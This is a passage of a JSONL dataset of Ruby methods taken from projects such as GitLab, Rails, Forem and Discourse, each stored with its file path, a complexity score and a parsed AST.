9-9a7f-00577c978b4b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/issues/issue_sidebar_spec.rb","start_line":233,"raw_source":"def open_assignees_dropdown\n within_testid('work-item-assignees') do\n click_button('Edit')\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"open_assignees_dropdown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_testid\",{\"type\":\"str\",\"children\":[\"work-item-assignees\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"Edit\"]}]}]}]}","id":"99916678-0fa5-42e2-b48c-721717f8bb86"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb","start_line":361,"raw_source":"def reset_pk_sequence!(table, pk = nil, sequence = nil) # :nodoc:\n unless pk && sequence\n default_pk, default_sequence = pk_and_sequence_for(table)\n\n pk ||= default_pk\n sequence ||= default_sequence\n end\n\n if @logger && pk && !sequence\n @logger.warn \"#{table} has primary key #{pk} with no default sequence.\"\n end\n\n if pk && sequence\n quoted_sequence = quote_table_name(sequence)\n max_pk = query_value(\"SELECT MAX(#{quote_column_name pk}) FROM #{quote_table_name(table)}\", \"SCHEMA\")\n if max_pk.nil?\n if database_version >= 10_00_00\n minvalue = query_value(\"SELECT seqmin FROM pg_sequence WHERE seqrelid = #{quote(quoted_sequence)}::regclass\", \"SCHEMA\")\n else\n minvalue = query_value(\"SELECT min_value FROM #{quoted_sequence}\", \"SCHEMA\")\n end\n end\n\n internal_execute(\"SELECT setval(#{quote(quoted_sequence)}, #{max_pk || minvalue}, #{max_pk ? true : false})\", \"SCHEMA\")\n end\n end","complexity_score":45.68,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_pk_sequence!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"optarg\",\"children\":[\"pk\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"sequence\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pk\"]},{\"type\":\"lvar\",\"children\":[\"sequence\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"default_pk\"]},{\"type\":\"lvasgn\",\"children\":[\"default_sequence\"]}]},{\"type\":\"send\",\"children\":[null,\"pk_and_sequence_for\",{\"type\":\"lvar\",\"children\":[\"table\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pk\"]},{\"type\":\"lvar\",\"children\":[\"default_pk\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sequence\"]},{\"type\":\"lvar\",\"children\":[\"default_sequence\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},{\"type\":\"lvar\",\"children\":[\"pk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sequence\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]}]},{\"type\":\"str\",\"children\":[\" has primary key \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pk\"]}]},{\"type\":\"str\",\"children\":[\" with no default sequence.\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pk\"]},{\"type\":\"lvar\",\"children\":[\"sequence\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quoted_sequence\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"lvar\",\"children\":[\"sequence\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_pk\",{\"type\":\"send\",\"children\":[null,\"query_value\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT MAX(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_column_name\",{\"type\":\"lvar\",\"children\":[\"pk\"]}]}]},{\"type\":\"str\",\"children\":[\") FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"lvar\",\"children\":[\"table\"]}]}]}]},{\"type\":\"str\",\"children\":[\"SCHEMA\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_pk\"]},\"nil?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database_version\"]},\">=\",{\"type\":\"int\",\"children\":[100000]}]},{\"type\":\"lvasgn\",\"children\":[\"minvalue\",{\"type\":\"send\",\"children\":[null,\"query_value\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT seqmin FROM pg_sequence WHERE seqrelid = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote\",{\"type\":\"lvar\",\"children\":[\"quoted_sequence\"]}]}]},{\"type\":\"str\",\"children\":[\"::regclass\"]}]},{\"type\":\"str\",\"children\":[\"SCHEMA\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"minvalue\",{\"type\":\"send\",\"children\":[null,\"query_value\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT min_value FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_sequence\"]}]}]},{\"type\":\"str\",\"children\":[\"SCHEMA\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"internal_execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT setval(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote\",{\"type\":\"lvar\",\"children\":[\"quoted_sequence\"]}]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_pk\"]},{\"type\":\"lvar\",\"children\":[\"minvalue\"]}]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_pk\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]},{\"type\":\"str\",\"children\":[\"SCHEMA\"]}]}]},null]}]}]}","id":"9b75cd2f-5757-48b2-a2ad-a44cffc68a5b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/git/tag_hooks_service.rb","start_line":13,"raw_source":"def limited_commits\n [tag_commit].compact\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"limited_commits\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_commit\"]}]},\"compact\"]}]}","id":"bbe99a2e-6f15-42ec-a8e4-b408be24a325"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/omniauth_crowd/spec/omniauth/strategies/crowd_spec.rb","start_line":5,"raw_source":"def strategy\n @crowd_server_url ||= 'https://crowd.example.org'\n @application_name ||= 'bogus_app'\n @application_password ||= 'bogus_app_password'\n [OmniAuth::Strategies::Crowd, {:crowd_server_url => @crowd_server_url,\n :application_name => @application_name,\n :application_password => @application_password,\n :use_sessions => @using_sessions,\n :sso_url => @sso_url,\n :sso_url_image => @sso_url_image\n }]\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"strategy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@crowd_server_url\"]},{\"type\":\"str\",\"children\":[\"https://crowd.example.org\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@application_name\"]},{\"type\":\"str\",\"children\":[\"bogus_app\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@application_password\"]},{\"type\":\"str\",\"children\":[\"bogus_app_password\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OmniAuth\"]},\"Strategies\"]},\"Crowd\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"crowd_server_url\"]},{\"type\":\"ivar\",\"children\":[\"@crowd_server_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"application_name\"]},{\"type\":\"ivar\",\"children\":[\"@application_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"application_password\"]},{\"type\":\"ivar\",\"children\":[\"@application_password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_sessions\"]},{\"type\":\"ivar\",\"children\":[\"@using_sessions\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sso_url\"]},{\"type\":\"ivar\",\"children\":[\"@sso_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sso_url_image\"]},{\"type\":\"ivar\",\"children\":[\"@sso_url_image\"]}]}]}]}]}]}","id":"de740137-fdd2-4802-8ba7-6986f458dcf3"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/build.rb","start_line":68,"raw_source":"def app_id\n raise \"No app included\" unless app\n return app.id\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"app_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"No app included\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app\"]},\"id\"]}]}]}]}","id":"494bfba1-fd94-4bd7-800c-798a1e6f8963"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/metrics.rb","start_line":64,"raw_source":"def self.pipeline_builder_scoped_variables_histogram\n name = :gitlab_ci_pipeline_builder_scoped_variables_duration\n comment = 'Pipeline variables builder scoped_variables duration'\n labels = {}\n buckets = [0.01, 0.05, 0.1, 0.3, 0.5, 1, 2, 5, 10, 30, 60, 120]\n\n ::Gitlab::Metrics.histogram(name, comment, labels, buckets)\n end","complexity_score":8.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pipeline_builder_scoped_variables_histogram\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"sym\",\"children\":[\"gitlab_ci_pipeline_builder_scoped_variables_duration\"]}]},{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"str\",\"children\":[\"Pipeline variables builder scoped_variables duration\"]}]},{\"type\":\"lvasgn\",\"children\":[\"labels\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"buckets\",{\"type\":\"array\",\"children\":[{\"type\":\"float\",\"children\":[0.01]},{\"type\":\"float\",\"children\":[0.05]},{\"type\":\"float\",\"children\":[0.1]},{\"type\":\"float\",\"children\":[0.3]},{\"type\":\"float\",\"children\":[0.5]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[30]},{\"type\":\"int\",\"children\":[60]},{\"type\":\"int\",\"children\":[120]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"histogram\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"comment\"]},{\"type\":\"lvar\",\"children\":[\"labels\"]},{\"type\":\"lvar\",\"children\":[\"buckets\"]}]}]}]}","id":"e7302fc8-2dd6-44f6-8d4a-61818c2de383"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/blob_content.rb","start_line":42,"raw_source":"def has_no_file_name?(file_name)\n within_element('file-title-content') do\n has_no_text?(file_name)\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_file_name?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"file-title-content\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_no_text?\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]}","id":"9491c284-d5de-4a42-80bf-058c7208cb98"} {"repo_name":"forem","file_path":"./repos/forem/app/services/analytics_service.rb","start_line":171,"raw_source":"def calculate_page_views_stats_per_day(page_view_data)\n # we issue one single query that contains all requested aggregates\n # and that groups them by date\n page_views = page_view_data.select(\n Arel.sql(\"DATE(created_at)\").as(\"date\"),\n Arel.sql(\"SUM(counts_for_number_of_views)\").as(\"total\"),\n # count the average only for logged in users\n Arel.sql(\"AVG(time_tracked_in_seconds) FILTER (WHERE user_id IS NOT NULL)\").as(\"average\"),\n ).group(\"DATE(created_at)\")\n\n # this transforms the collection of pseudo PageView objects previously selected\n # in a hash, eg. {total: 2, average_read_time_in_seconds: 10, total_read_time_in_seconds: 20}\n page_views.each_with_object({}) do |page_view, hash|\n average = (page_view.average || 0).round # average is a BigDecimal\n hash[page_view.date.iso8601] = {\n total: page_view.total,\n average_read_time_in_seconds: average,\n total_read_time_in_seconds: page_view.total * average\n }\n end\n end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_page_views_stats_per_day\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page_view_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"page_views\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page_view_data\"]},\"select\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"DATE(created_at)\"]}]},\"as\",{\"type\":\"str\",\"children\":[\"date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"SUM(counts_for_number_of_views)\"]}]},\"as\",{\"type\":\"str\",\"children\":[\"total\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"AVG(time_tracked_in_seconds) FILTER (WHERE user_id IS NOT NULL)\"]}]},\"as\",{\"type\":\"str\",\"children\":[\"average\"]}]}]},\"group\",{\"type\":\"str\",\"children\":[\"DATE(created_at)\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page_views\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page_view\"]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"average\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page_view\"]},\"average\"]},{\"type\":\"int\",\"children\":[0]}]}]},\"round\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page_view\"]},\"date\"]},\"iso8601\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page_view\"]},\"total\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"average_read_time_in_seconds\"]},{\"type\":\"lvar\",\"children\":[\"average\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_read_time_in_seconds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page_view\"]},\"total\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"average\"]}]}]}]}]}]}]}]}]}","id":"7e7c3099-d3c7-439c-8116-3df028c77692"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20241010191331_add_secret_detection_service_auth_token_to_application_settings.rb","start_line":6,"raw_source":"def up\n add_column :application_settings, :encrypted_secret_detection_service_auth_token, :binary, if_not_exists: true\n add_column :application_settings, :encrypted_secret_detection_service_auth_token_iv, :binary, if_not_exists: true\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"encrypted_secret_detection_service_auth_token\"]},{\"type\":\"sym\",\"children\":[\"binary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"encrypted_secret_detection_service_auth_token_iv\"]},{\"type\":\"sym\",\"children\":[\"binary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"0868bf75-ba48-4ced-8536-1a2793f364e5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/projects/pipeline_schedules_spec.rb","start_line":354,"raw_source":"def edit_pipeline_schedule\n visit edit_project_pipeline_schedule_path(project, pipeline_schedule)\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_pipeline_schedule\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"edit_project_pipeline_schedule_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"pipeline_schedule\"]}]}]}]}","id":"61266a24-20b9-4e53-8e89-74514148c086"} {"repo_name":"discourse","file_path":"./repos/discourse/app/mailers/version_mailer.rb","start_line":6,"raw_source":"def send_notice\n if SiteSetting.contact_email.present?\n missing_versions = DiscourseUpdates.missing_versions\n if missing_versions.present? && missing_versions.first[\"notes\"].present?\n build_email(\n SiteSetting.contact_email,\n template: \"new_version_mailer_with_notes\",\n notes: missing_versions.first[\"notes\"],\n new_version: DiscourseUpdates.latest_version,\n installed_version: Discourse::VERSION::STRING,\n )\n else\n build_email(\n SiteSetting.contact_email,\n template: \"new_version_mailer\",\n new_version: DiscourseUpdates.latest_version,\n installed_version: Discourse::VERSION::STRING,\n )\n end\n end\n end","complexity_score":25.6,"ast_json":"{\"type\":\"def\",\"children\":[\"send_notice\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"contact_email\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"missing_versions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"missing_versions\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_versions\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_versions\"]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"notes\"]}]},\"present?\"]}]},{\"type\":\"send\",\"children\":[null,\"build_email\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"contact_email\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"new_version_mailer_with_notes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_versions\"]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"notes\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"latest_version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"installed_version\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"VERSION\"]},\"STRING\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"build_email\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"contact_email\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"new_version_mailer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"latest_version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"installed_version\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"VERSION\"]},\"STRING\"]}]}]}]}]}]},null]}]}","id":"c42a72ac-d77d-4193-9a66-247ebfd42e25"} {"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/metrics/query.rb","start_line":16,"raw_source":"def initialize(pool: nil, now: Time.now)\n @time = now.utc\n @pool = pool || Sidekiq.default_configuration.redis_pool\n @klass = nil\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"pool\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@time\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"now\"]},\"utc\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@pool\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"default_configuration\"]},\"redis_pool\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@klass\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"6bd2b348-2af0-4e48-8b5c-4346219c5911"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/integrations/slack_interactions/incident_management/incident_modal_opened_service.rb","start_line":46,"raw_source":"def post_modal\n begin\n response = ::Slack::API.new(slack_installation).post(\n 'views.open',\n modal_view\n )\n rescue *Gitlab::HTTP::HTTP_ERRORS => e\n return ServiceResponse\n .error(message: 'HTTP exception when calling Slack API')\n .track_exception(\n as: e.class,\n slack_workspace_id: team_id\n )\n end\n\n if response['ok']\n self.class.cache_write(view_id(response), project_id(response))\n\n return ServiceResponse.success(message: _('Please complete the incident creation form.'))\n end\n\n ServiceResponse.error(\n message: _('Something went wrong while opening the incident form.'),\n payload: response\n ).track_exception(\n response: response.to_h,\n slack_workspace_id: team_id,\n slack_user_id: slack_installation.user_id\n )\n end","complexity_score":32.0,"ast_json":"{\"type\":\"def\",\"children\":[\"post_modal\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Slack\"]},\"API\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"slack_installation\"]}]},\"post\",{\"type\":\"str\",\"children\":[\"views.open\"]},{\"type\":\"send\",\"children\":[null,\"modal_view\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"HTTP\"]},\"HTTP_ERRORS\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"HTTP exception when calling Slack API\"]}]}]}]},\"track_exception\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"slack_workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"team_id\"]}]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ok\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"cache_write\",{\"type\":\"send\",\"children\":[null,\"view_id\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"send\",\"children\":[null,\"project_id\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Please complete the incident creation form.\"]}]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Something went wrong while opening the incident form.\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]},\"track_exception\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"to_h\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"slack_workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"team_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"slack_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slack_installation\"]},\"user_id\"]}]}]}]}]}]}","id":"163cb49a-a350-4f5a-a702-27cbc6aa9ff1"} 